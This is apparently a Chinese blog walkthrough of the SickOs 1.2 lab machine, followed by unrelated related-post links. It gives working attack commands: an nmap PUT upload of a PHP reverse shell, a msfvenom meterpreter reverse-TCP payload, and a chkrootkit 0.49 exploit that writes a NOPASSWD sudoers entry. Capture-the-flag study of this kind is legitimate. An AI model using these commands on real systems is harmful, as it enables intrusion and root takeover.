SickOs:1.2

提权辅助工具LinEnum下载:https://download.csdn.net/download/weixin_41082546/11609409
提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428

 
首先获取目标ip地址,并探测端口
netdiscover -i eth0 -r 192.168.88.1/24
访问web,并查看源码,没有什么有用的东西
 
目录发现
 
 
curl -v -X OPTIONS http://192.168.88.201
curl -v -X OPTIONS http://192.168.88.201/test/
/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。
直接利用kali 自带的 reverse-shell
修改回连 的ip 地址和端口
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'
成功上传反弹shell 脚本
开启 本地 侦听
 
反弹 不成功
自己重新生成shell ,再次尝试。
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php
 
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit3.php',http-put.file='exploit3.php'
多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit5.php',http-put.file='php-reverse-shell.php'
第五次尝试
这次终于弹回来了!!!web权限。
ls -la /etc/cron.daily
查看计划任务,发现存在chkrootkit ,版本0.49
searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞
chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)
touch update
chmod +x update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update
sudo su root 获得root权限
 
第二种方法,利用我们 msf 进行利用
上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,
再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得ro

靶机-SickOs 1.2 Walkthrough的更多相关文章

  1. 靶机-BTRSys 2.1 Walkthrough

    BTRSys 2.1 https://www.vulnhub.com/entry/btrsys-v21,196/ 参考:https://www.jianshu.com/p/9813095ce04d 提 ...

  2. OSCP Learning Notes - Capstone(4)

    SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website ...

  3. 靶机-droopyCTF Walkthrough

    droopyCTF https://www.vulnhub.com/?q=droopy&sort=date-des&type=vm CTF镜像合集:https://www.vulnhu ...

  4. 11. CTF综合靶机渗透(四)

    运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of ...

  5. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  6. Walkthrough: Arranging Controls on Windows Forms Using Snaplines

    https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...

  7. Walkthrough: Creating and Using a Dynamic Link Library (C++)

    Original Link: http://msdn.microsoft.com/zh-cn/library/ms235636.aspx Following content is only used ...

  8. Burp Suite Walkthrough(英文版)

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

  9. Burp Suite Walkthrough

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

随机推荐

  1. Educational Codeforces Round 61

    Educational Codeforces Round 61 今早刚刚说我适合打pikmike出的EDU 然后我就挂了 A 不管 B 不管 C 这道题到快结束了才调出来 大概就是\(n^2\)枚举不 ...

  2. LightOJ - 1265 Island of Survival (概率dp)

    You are in a reality show, and the show is way too real that they threw into an island. Only two kin ...

  3. jmeter安装配置教程及使用

    背景: 因为双11,黑五快到了,所有的互联网电商行业都要做一件事情,那就是压测,常见的压测很多区分,接口压测和全链路压测.线上压测和线下压测,单元压测和功能压测.我们这里介绍一下接口压测和全链路压测. ...

  4. HDU1251 统计难题[map的应用][Trie树]

    一.题意 给出一组单词,另给出一组单词用作查询,求解对于每个用于查询的单词,前一组中有多少个单词以其为前缀. 二.分析 根据题目很容易想到hash的方法,首先可以朴素的考虑将第一组中的所有单词的前缀利 ...

  5. Docker 说明

    一.Docker 是什么? 1.为什么会有 Docker 出现 ? 一款产品从开发到上线,从操作系统,到运行环境,再到应用配置.作为开发+运维之间的协作我们需要关心很多东西,这也是很多互联网公司都不得 ...

  6. Java并发编程系列-(8) JMM和底层实现原理

    8. JMM和底层实现原理 8.1 线程间的通信与同步 线程之间的通信 线程的通信是指线程之间以何种机制来交换信息.在编程中,线程之间的通信机制有两种,共享内存和消息传递. 在共享内存的并发模型里,线 ...

  7. springMvc web项目中restful风格的api路径中有小数点会被过滤后台拿不到最后一个小数点的问题

    有两种解决方案: 1:在api路径中加入:.+ @RequestMapping("/findByIp/{ip:.+}") public Object test(@PathVaria ...

  8. Spring||Mails

    JMail可以解决Java发送邮件,通过Jmail的核心javax.mail.jar实现,通过Jmail发送邮件需要经过以下步骤 1.创建解析邮件内容:Message类,通过javax.mail.in ...

  9. 跟我一起学QT_QT标准对话框_颜色选择框

    标准对话框 QT的标准对话框分为以下几种 颜色对话框 文件对话框 字体对话框 输入对话框 消息对话框 进度对话框 错误信息对话框 向导对话框 颜色对话框 首先学习的是颜色对话框颜色对话框类QColor ...

  10. vue iView table中render渲染

    <template> <div class="srm-page"> <el-form ref="form" :model=&quo ...